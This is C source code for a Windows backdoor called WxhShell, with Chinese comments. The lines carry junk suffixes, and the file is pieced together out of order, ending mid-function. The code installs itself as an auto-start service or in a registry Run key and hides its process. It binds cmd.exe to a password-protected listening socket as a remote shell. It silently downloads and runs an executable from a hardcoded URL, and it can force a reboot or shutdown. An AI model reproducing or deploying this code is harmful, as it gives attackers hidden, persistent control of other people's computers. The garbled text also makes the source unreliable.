    if(Boot(SHUTDOWN)) bg1"v a#2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ICl_ eb  
    else { le^_6| ek  
    closesocket(wsh); 2 ]DCF  
    ExitThread(0); `gt&Y-  
    } 6a%:zgkOpu  
    break; 6}i&6@Snq?  
    } gN, k/U8  
  // 获取shell Ck3QrfM  
  case 's': { UR/qVO?  
    CmdShell(wsh); >FY&-4+v  
    closesocket(wsh); qb-2QPEB  
    ExitThread(0); AFINm%\/0  
    break; yxG:\y b  
  } *dG}R#9Nv  
  // 退出 T@Ss&eGT2  
  case 'x': { ;zZ,3pl-E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M$&WM{Pr^  
    CloseIt(wsh); N /sEec  
    break; rb *C-NutE  
    } = GH@.3`X  
  // 离开 1!>bhH}{D  
  case 'q': { SaR}\Up  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "M9TB. O  
    closesocket(wsh); ?#BZ `H  
    WSACleanup(); to!mz\F  
    exit(1); BN\fv,  
    break; <TLGfA1bC  
        } &Rt+LN0qB0  
  } W+d 9cM=  
  } qeQC&U y;  
;OQ'B=uK  
  // 提示信息 8^<c,!DM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .8T\Nr\~2  
} eW%L$I  
  } B^i mG  
Y]+e  Df  
  return; ;f".'9 l^  
} E6'8Zb  
,_.@l+BM.  
// shell模块句柄 %PQldPL8  
int CmdShell(SOCKET sock)  &7L~PZ  
{ 6?%]odI#  
STARTUPINFO si; lq>*x=<  
ZeroMemory(&si,sizeof(si)); \3t,|%v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2j8Cv:{Nn%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WdTbt  
PROCESS_INFORMATION ProcessInfo; ^H5w41  
char cmdline[]="cmd"; gq H`GI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nl~Z,hT$*  
  return 0; 8`:M\*  
} :0M' =~[  
((-aC`  
// 自身启动模式 ~8jThi U  
int StartFromService(void) _wm~}_Q  
{ =:4 '  
typedef struct a<f;\$h]  
{ nnfY$&3A  
  DWORD ExitStatus; <8iYL`3  
  DWORD PebBaseAddress; \# 7@a74  
  DWORD AffinityMask; Z -pyFK\  
  DWORD BasePriority; q|n97.vD  
  ULONG UniqueProcessId; D35m5+=I  
  ULONG InheritedFromUniqueProcessId; jz %;4e~t  
}   PROCESS_BASIC_INFORMATION; 9Tqn zD  
:L]-'\y  
PROCNTQSIP NtQueryInformationProcess; ;JAK[o8i  
53bM+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &K06}[J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =ZG<BG_  
$ b4*/vMr  
  HANDLE             hProcess; XQK^$Iq]V  
  PROCESS_BASIC_INFORMATION pbi; ~@xT]D!BQ  
~q{\;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j -#E?&2  
  if(NULL == hInst ) return 0; DD2adu^  
=nLO?qoe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,r@xPZPz:e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =\M)6"}y}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] F*|U`  
+IvNyj|  
  if (!NtQueryInformationProcess) return 0; <BZ_ (H  
jh>N_cp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (viWY  
  if(!hProcess) return 0; 7kdeYr~<1  
HB%K|&!+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xne]Q(B>  
ol50d73B  
  CloseHandle(hProcess); |4=ihB9+  
E\ tL   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (m6EQoW^s+  
if(hProcess==NULL) return 0; Ocybc%  
`4_c0 q)N4  
HMODULE hMod; kPWBDpzN  
char procName[255];  1y 7y0V  
unsigned long cbNeeded; 18jJzYawh  
B4@fY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 46ILs1T6  
;r3}g"D@  
  CloseHandle(hProcess); B`#*o<eb  
vlvvi()  
if(strstr(procName,"services")) return 1; // 以服务启动 ~)_K"h.DY  
{ E^U6@  
  return 0; // 注册表启动 36nyu_h:R  
} \Fq1^ 8qa  
axtb<5&  
// 主模块 >}CEN  
int StartWxhshell(LPSTR lpCmdLine) D'<$ g  
{  e#1.T  
  SOCKET wsl; ^}hJL7O'  
BOOL val=TRUE; as(;]  
  int port=0; C\OECVT  
  struct sockaddr_in door; nX)f'[ 7  
ewpig4  
  if(wscfg.ws_autoins) Install(); 02(h={  
5} G:D  
port=atoi(lpCmdLine); ,[Ag~.T  
7|Xe&o<n  
if(port<=0) port=wscfg.ws_port; S"Kq^DN  
EZ/^nG  
  WSADATA data; ?.Q3 pUT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yh$fQ:yi\&  
HAd%k$Xu{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d+0^u(gc!8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sCkO0dl8  
  door.sin_family = AF_INET; 7k'gt/#up  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NCn`}QP  
  door.sin_port = htons(port); @`S.@^%7fO  
L:pUvcAc?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7*/J4MN  
closesocket(wsl); 'AWp6L@  
return 1; x}|+sS,g  
} -x{&an=  
z+ ZG1\  
  if(listen(wsl,2) == INVALID_SOCKET) { #3+~.,X9  
closesocket(wsl); >Mw'eQ0(y  
return 1; xG1?F_]  
} 4gb'7'  
  Wxhshell(wsl); cJ2PI  
  WSACleanup(); ?4[NNL  
o(fyd)t  
return 0; l'uOORI  
Z0\Iyc G  
} 2y%R:Mu  
12OlrU  
// 以NT服务方式启动 2*'ciH37  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cmDT +$s  
{ mNDuwDd$S  
DWORD   status = 0; VB"(9O]  
  DWORD   specificError = 0xfffffff; 6$RpV'xz  
+ zp0" ,2B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pkk4h2Ah  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1-o V-K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IaasHo\  
  serviceStatus.dwWin32ExitCode     = 0; -Qb0:]sV#  
  serviceStatus.dwServiceSpecificExitCode = 0; s)w9%  
  serviceStatus.dwCheckPoint       = 0; r?3Aqi"  
  serviceStatus.dwWaitHint       = 0; WcEt%mGQ,  
+t"j-}xzE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a+ GJVJ  
  if (hServiceStatusHandle==0) return; D#0O[F@l##  
#pA[k -  
status = GetLastError(); C6^j#rl  
  if (status!=NO_ERROR) Pa&4)OD  
{ fp;a5||5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A*i_|]Q  
    serviceStatus.dwCheckPoint       = 0; jQ$BPEG&X  
    serviceStatus.dwWaitHint       = 0; -J?~U2  
    serviceStatus.dwWin32ExitCode     = status; +tU Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; :Q- F9o J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (h,Ws-O  
    return; sfI N)jh  
  } %\I.DEYH  
f#OQ (WTJE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _tWE8 r,  
  serviceStatus.dwCheckPoint       = 0; i!,HB|wQ  
  serviceStatus.dwWaitHint       = 0; vGN3 YcH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =x H~ww (D  
} 0p3vE,pF  
7>,rvW:]  
// 处理NT服务事件,比如:启动、停止 t)r1"oA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dl A Z"C  
{ H[nz]s  
switch(fdwControl) jVYH;B%%z  
{ LdEE+"Jw  
case SERVICE_CONTROL_STOP: }4h0bI  
  serviceStatus.dwWin32ExitCode = 0; RGp'b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RIjM(P  
  serviceStatus.dwCheckPoint   = 0; m&Sp1=*Ejy  
  serviceStatus.dwWaitHint     = 0; M&[b.t*  
  { H\+-cvl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }cW#045es  
  } Tz` ,{k  
  return; d?7BxYaa  
case SERVICE_CONTROL_PAUSE: %6i=lyH-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {^m5#f 0"  
  break; oAz<G  
case SERVICE_CONTROL_CONTINUE: %nQmFIt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a))*F!}c  
  break; HNMBXXf, B  
case SERVICE_CONTROL_INTERROGATE: 2AK}D%jfc  
  break; sHsg_6~  
}; m6MaX}&zv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uV77E*+7\  
} 5"gL.Ez  
-tyaE  
// 标准应用程序主函数 CQ18%w6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <Uwwux<v  
{ |Puj7Ru  
8\_*1h40s  
// 获取操作系统版本 OjATSmZ@@  
OsIsNt=GetOsVer(); JqEb;NiP)5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tJm{I)G  
sam[s4@eQ  
  // 从命令行安装 aAcKwCGq\  
  if(strpbrk(lpCmdLine,"iI")) Install(); `]{Psc6_=  
6[+j'pW?  
  // 下载执行文件 ^ZVO ql&  
if(wscfg.ws_downexe) { ^A#x<J+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vZk9gGjk  
  WinExec(wscfg.ws_filenam,SW_HIDE); {(0Id!  
} K?YEoz'y[  
'!@A}&]  
if(!OsIsNt) { R@$+t:}  
// 如果时win9x,隐藏进程并且设置为注册表启动 A]xCF{*)&  
HideProc(); zq=&4afOE  
StartWxhshell(lpCmdLine); vX.]hp5~  
} O{BW;Deo  
else =mLeMk/7 w  
  if(StartFromService()) #JFYws  
  // 以服务方式启动 oG\>--  
  StartServiceCtrlDispatcher(DispatchTable); 0%H24N 9.  
else %I}'Vb{C  
  // 普通方式启动 453 }S  
  StartWxhshell(lpCmdLine); D2$^"  
&Ea"hd  
return 0; C *Xik9n  
} i'iO H|s  
`#p< rfe  
=h7[E./U1  
QA,*:qx  
=========================================== pJ6Jx(  
MYu`c[$jZ  
hpas'H>J  
4znH$M>bU  
->3uOF!q  
Q[jI=$Q)  
" *?p ^6vO  
=-m(\ }  
#include <stdio.h> 6"%@ L{UQ  
#include <string.h> ZIe+  
#include <windows.h> bl`D+/V   
#include <winsock2.h> FvAbh]/4  
#include <winsvc.h> 8XlU%a6x  
#include <urlmon.h> $8Ig&k|~8  
eX@ v7i,}  
#pragma comment (lib, "Ws2_32.lib") T:6K?$y?  
#pragma comment (lib, "urlmon.lib") /Bh>  
#1B}-PGCm  
#define MAX_USER   100 // 最大客户端连接数 G"{4'LlA  
#define BUF_SOCK   200 // sock buffer m|lM.]2_  
#define KEY_BUFF   255 // 输入 buffer PY2[ S[  
<c(&T<$  
#define REBOOT     0   // 重启 "A]?M<R  
#define SHUTDOWN   1   // 关机 rykj2/O  
]I8]mUiUH  
#define DEF_PORT   5000 // 监听端口 X8i[fk1.R  
1*L^^% w  
#define REG_LEN     16   // 注册表键长度 b]"2 VN  
#define SVC_LEN     80   // NT服务名长度 3Fgz)*Gu]  
eVrnVPkM  
// 从dll定义API & \JLTw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K[*h+YO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Shs')Zs bv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;4l-M2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z}iSq$  
gU~ L@R_D  
// wxhshell配置信息  8>ESD}(  
struct WSCFG { #t){4J  
  int ws_port;         // 监听端口 )sRN!~  
  char ws_passstr[REG_LEN]; // 口令 u2 Y N[|V  
  int ws_autoins;       // 安装标记, 1=yes 0=no v: giZxR  
  char ws_regname[REG_LEN]; // 注册表键名 pa> p%  
  char ws_svcname[REG_LEN]; // 服务名 J9NsHr:A[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &ycjSBK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~KJ,SLzhx9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K4_~ruhr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cW=Qh-`jU;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dJloH)uJZ>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HJc<Gwm  
={\![{L  
}; L^6"' #  
keae.6[  
// default Wxhshell configuration SE6>vKR/.  
struct WSCFG wscfg={DEF_PORT, /g13X,.H  
    "xuhuanlingzhe", e jP,29  
    1, d:A\<F  
    "Wxhshell", 9*BoYFw92*  
    "Wxhshell", ;9}w|!/  
            "WxhShell Service", +8]W\<Kp  
    "Wrsky Windows CmdShell Service", n/xXQ7y  
    "Please Input Your Password: ", 1aBD^^Y  
  1, 2=jd;2~  
  "http://www.wrsky.com/wxhshell.exe", sq6>DuBZz  
  "Wxhshell.exe" tX@ 0:RX%  
    }; Vp|2wlFE-  
O'"YJ,  
// 消息定义模块 -K:yU4V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =s`XZkh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &,^mM' C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s[Y)d>~\$=  
char *msg_ws_ext="\n\rExit."; Xq+!eOT  
char *msg_ws_end="\n\rQuit."; W/b"a?wE{  
char *msg_ws_boot="\n\rReboot..."; " ]aQ Hh]f  
char *msg_ws_poff="\n\rShutdown..."; AmP#'U5  
char *msg_ws_down="\n\rSave to "; f1)HHUB  
OD{5m(JwL  
char *msg_ws_err="\n\rErr!"; 7h(HG?2Y  
char *msg_ws_ok="\n\rOK!"; n/ui<&(  
>`<Ued  
char ExeFile[MAX_PATH]; _Syre6k  
int nUser = 0; 3Cq6h;!#  
HANDLE handles[MAX_USER]; 29&sydu  
int OsIsNt; D."cQ<sxpN  
3?!G-  
SERVICE_STATUS       serviceStatus; *!._Ais,\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Sp*)A]E`  
sjkWz2]S  
// 函数声明 L4MxU 2  
int Install(void); *jYHd#UZx4  
int Uninstall(void); 59&T/  
int DownloadFile(char *sURL, SOCKET wsh); t#fs:A7P?}  
int Boot(int flag); }wvwZ`5t  
void HideProc(void); ~5lKL5w  
int GetOsVer(void); It#hp,@e  
int Wxhshell(SOCKET wsl); EJ WOXxU  
void TalkWithClient(void *cs); 3r,1^h  
int CmdShell(SOCKET sock); M'pb8jf  
int StartFromService(void); ^VSt9 &  
int StartWxhshell(LPSTR lpCmdLine); jA20c(O  
\[Sm2/9v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l=oN X"l=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y #hga5  
@5{.K/s  
// 数据结构和表定义 .`oJcJ  
SERVICE_TABLE_ENTRY DispatchTable[] = >yV)d/  
{ ,Y+r<;  
{wscfg.ws_svcname, NTServiceMain}, ek<PISlci  
{NULL, NULL} 8zP:*|D  
}; 6{JR0  
OaD Alrm  
// 自我安装 Cfv L)f  
int Install(void) {0NsDi>(2  
{ LK'S)Jk  
  char svExeFile[MAX_PATH]; {:};(oz)f  
  HKEY key; F&W0DaH  
  strcpy(svExeFile,ExeFile); ]`#xR *a  
1g~Dm}m  
// 如果是win9x系统,修改注册表设为自启动 |<|28~#  
if(!OsIsNt) { nx!qCgo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c,#~L7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u)q2YLK8  
  RegCloseKey(key); Uv @!i0W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P#dG]NMf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ze$^UR  
  RegCloseKey(key); u+2 xrzf  
  return 0; y1,?ZWTayr  
    } E5,%J  
  } C?GvTc  
} 2.fyP"P L  
else { lKh2LY=j  
VYl_U?D  
// 如果是NT以上系统,安装为系统服务 ?G~/{m.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \N# HPrv}  
if (schSCManager!=0) SeRK7Q&_  
{ <r_P? lZW  
  SC_HANDLE schService = CreateService ,$MWk(S  
  ( 1=9qAp;?o  
  schSCManager, B|]t\(~$ [  
  wscfg.ws_svcname, X7XCZSh#A  
  wscfg.ws_svcdisp, [M7iJcwt  
  SERVICE_ALL_ACCESS, rQd1Ch  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tMD^$E"C  
  SERVICE_AUTO_START, 2- Npw%;  
  SERVICE_ERROR_NORMAL, wf~5lpI[  
  svExeFile, 2 Ft0C2  
  NULL, Hm+6QgCs  
  NULL, < '>d0:>N  
  NULL, 'mBLf&fB  
  NULL, r)9i1rI+  
  NULL N27K  
  );  m+72C]9  
  if (schService!=0) \28b_,i+  
  { mR" 2  
  CloseServiceHandle(schService); TRr4`y%  
  CloseServiceHandle(schSCManager); +H)!uLva B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a>)_ `m  
  strcat(svExeFile,wscfg.ws_svcname); #GDh/t2@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3&a*]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O)$N}V0  
  RegCloseKey(key); |k7ts&2  
  return 0; YWcui+4p}  
    } y]E)2:B[d  
  } wa(Wit"-  
  CloseServiceHandle(schSCManager);  |(J ?#?  
} ^huBqEs  
} oSu|Yn  
Sq?6R}q%  
return 1; a!^-~pH:  
} A3 Rm 0  
o3TBRn,  
// 自我卸载 $dVgFot  
int Uninstall(void) C~ }Wo5  
{ 6,g5To#vw  
  HKEY key; |$.sB|_ N  
fr,CH{Uq  
if(!OsIsNt) { 9|G=KN)P:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bAy5/G!_R  
  RegDeleteValue(key,wscfg.ws_regname); %`s9yRk9>E  
  RegCloseKey(key); HkfSx rTgQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -?%{A%'  
  RegDeleteValue(key,wscfg.ws_regname); ]mO+<{{4X  
  RegCloseKey(key); p@NEr,GB  
  return 0; _,K>u6N&  
  } eLt Cxe  
} x w?9W4<  
} gKm~cjCB`~  
else { E3.W#=o  
(W}i287  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m|Q&Lphb8  
if (schSCManager!=0) AVevYbucB  
{ d~z<,_ r5c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fb<\(#t  
  if (schService!=0) !Pi? !  
  { Bu >yRL=*  
  if(DeleteService(schService)!=0) { 2Z IpzH/8  
  CloseServiceHandle(schService); bcx{_&1p  
  CloseServiceHandle(schSCManager); w3?t})PB&  
  return 0; h}B# 'e  
  } g9lg  
  CloseServiceHandle(schService); ->"h5h  
  } -Bwu$$0  
  CloseServiceHandle(schSCManager); f@. Q%+!4  
} k~9Ywf  
} _I70qz8  
@9kk f{?  
return 1; I3E8vi%B.  
}  9jzLXym  
t+)GB=C  
// 从指定url下载文件 }yC,uEV  
int DownloadFile(char *sURL, SOCKET wsh) [Ey%uh 6*  
{ , LPFb6o  
  HRESULT hr; 5_tK3Q8?  
char seps[]= "/"; ;Q,).@<C  
char *token; VV}fW"_ND  
char *file; g7Q*KA+  
char myURL[MAX_PATH]; MPEBinE?  
char myFILE[MAX_PATH]; ,E8>:-boL  
2.&V  
strcpy(myURL,sURL); (XIq?c1T  
  token=strtok(myURL,seps); ?KuJs9SM  
  while(token!=NULL) vhe Ah`u^&  
  { m"m;(T{ v  
    file=token; ` Ehgn?6'  
  token=strtok(NULL,seps); b+j_EA_b  
  } Nm:<rI,^  
Ky~~Cd$  
GetCurrentDirectory(MAX_PATH,myFILE); ,HO/Q6;N  
strcat(myFILE, "\\"); _.8]7f`*Gc  
strcat(myFILE, file); c"&!=@  
  send(wsh,myFILE,strlen(myFILE),0); !J?=nSu  
send(wsh,"...",3,0); (Gk]<`d#N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pc ?G^ Xol  
  if(hr==S_OK) v5bb|o[{K  
return 0; sL`D}_:  
else cz~11j#  
return 1; EsxTBg  
7ofH@U  
} )PNH| h  
 hahD.P<  
// 系统电源模块 ( 2(;u1  
int Boot(int flag) w]YyU5rhS  
{ >;U%~yy}qc  
  HANDLE hToken; m<LzB_ G\  
  TOKEN_PRIVILEGES tkp; [goPmVe+  
DmA!+  
  if(OsIsNt) { x=|@AFI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5:3$VWLa <  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $[;eb,  
    tkp.PrivilegeCount = 1; U~@B%Msb L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t"Rf67  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O.f3 (e!  
if(flag==REBOOT) { 8$tpPOhzb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w}<I\*\`!  
  return 0; UdgI<a~`k6  
} m64\@ [  
else { 0~5}F^8[L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U,}T ]J  
  return 0; R2f,a*>  
} 05zdy-Fb  
  } z9c=e46O  
  else { J3E:r_+  
if(flag==REBOOT) { |L-juT X9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qiJ;v1  
  return 0; T1 .@Tbbt  
} j?ubh{Izm  
else { NGGd6V%'-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z]_CFo1'l  
  return 0; p tfADG  
} S$:S*6M@"  
} a m%{M7":7  
U.jMK{  
return 1; td$Jx}'A  
} vv_?ip:t  
9jBr868  
// win9x进程隐藏模块 45JLx?rN_  
void HideProc(void) Cagq0-:(p  
{ I#e*,#'S  
:|( B[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f}d@G/L  
  if ( hKernel != NULL ) @3D%i#2o&[  
  { 9peB+URV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \wd`6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @isqFKjph  
    FreeLibrary(hKernel); 5< nK.i,  
  } 6-}9m7#Y  
n-WvIy  
return; .6(i5K  
} :/Zh[Q@EG  
y5 +&P  
// 获取操作系统版本  =7@  
int GetOsVer(void) ,PAKPX9v_F  
{ | mX8fRh  
  OSVERSIONINFO winfo; F.hC%Ncu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "fwuvT 1  
  GetVersionEx(&winfo); =]Bm>67"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r73Xh"SL  
  return 1; yV`vu/3K  
  else CjCnh7tm  
  return 0; W`kgYGnFG  
} Ha\hQ'99  
:W55JD'  
// 客户端句柄模块 Su^Z{ Ud`  
int Wxhshell(SOCKET wsl) CQ ?|=cN  
{ =="SW"vNi  
  SOCKET wsh; IS~oyFS  
  struct sockaddr_in client; W[ DB !ue  
  DWORD myID; ~*Wb MA  
?Ci\3)u,P  
  while(nUser<MAX_USER) b87d'# .  
{ g'@+#NMw  
  int nSize=sizeof(client); /xnhHwJm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pr"ESd>Y  
  if(wsh==INVALID_SOCKET) return 1; &aU+6'+QXB  
"tIx$?I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R7>@-EG  
if(handles[nUser]==0) !LA#c'  
  closesocket(wsh); yo=d"*E4^  
else Urr1 K)  
  nUser++; &/" qOZAs  
  } [;bLlS,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ah.Kb(d:  
u-$AFSt  
  return 0; Y,r2m nq  
} >#Y q&@G  
Q*5d~Yr]R  
// 关闭 socket qYs6PLC  
void CloseIt(SOCKET wsh) VrG|/2  
{ '_%Jw:4k  
closesocket(wsh); 3h>Ji1vV  
nUser--; ' =kX   
ExitThread(0); a &j?"o  
} \$I )}  
t+VPX2  
// 客户端请求句柄 &W%TY:Da|  
void TalkWithClient(void *cs) ZL Aq8X  
{ $}829<gh7  
$i hI Hl6'  
  SOCKET wsh=(SOCKET)cs; w>e OERZa  
  char pwd[SVC_LEN]; ~tWBCq 6  
  char cmd[KEY_BUFF]; A@4Cfb@  
char chr[1]; gDrqs>8  
int i,j; Z'~5L_.]Ai  
uE2Y n`Ha  
  while (nUser < MAX_USER) { d$ /o\G  
VmW_,  
if(wscfg.ws_passstr) { *w;f\zW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j8b:+io  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h(fh |R<  
  //ZeroMemory(pwd,KEY_BUFF); t%%I.zIV7  
      i=0; >Y:ouN~<  
  while(i<SVC_LEN) { z"-Urd^O  
9f "*O j  
  // 设置超时 6 B )   
  fd_set FdRead; x8H)m+AW  
  struct timeval TimeOut; ?'%&2M zM  
  FD_ZERO(&FdRead); hN.#ui5 $  
  FD_SET(wsh,&FdRead); nL$tXm-x  
  TimeOut.tv_sec=8; srC jq  
  TimeOut.tv_usec=0; 2a G<^3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); # ;9KDt@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zqao4  
} E=mZZ)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9'tM65K  
  pwd=chr[0]; 1osI~oNZ  
  if(chr[0]==0xd || chr[0]==0xa) { (z[cf|he  
  pwd=0; 6 3HxQH  
  break; jq[>PvR  
  } b x@CzXre;  
  i++; k`?n("j  
    } -*WD.|k  
w9 N Um  
  // 如果是非法用户,关闭 socket 3RD Q{&J:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bg3^BOT  
} v4&*iT  
`1P &  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L3/ua  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a+X X?uN{  
FGZOn5U6'  
while(1) { 1.uyu  
4-TM3Cw`d&  
  ZeroMemory(cmd,KEY_BUFF); |h3 YL!  
V'9 k;SF  
      // 自动支持客户端 telnet标准   $FAl9  
  j=0; ,e;(\t:  
  while(j<KEY_BUFF) { v/kYyz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n>@(gDq  
  cmd[j]=chr[0]; ut o4bs:  
  if(chr[0]==0xa || chr[0]==0xd) { m1(rAr1  
  cmd[j]=0; hWUZn``U$|  
  break; s^ 6S{XJ  
  } lAoH@+dyA+  
  j++; p1Els /|  
    } K(_nfE{  
9@!`,Co  
  // 下载文件 kY*D s;  
  if(strstr(cmd,"http://")) { z-()7WY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X&K1>dgWP  
  if(DownloadFile(cmd,wsh)) \}cEHLq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); . [C ~a  
  else n\d-^ml  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2"NJt9w  
  } D].1X0^hp  
  else { O7E0{8  
b,s T[!X[  
    switch(cmd[0]) { "/wZtc  
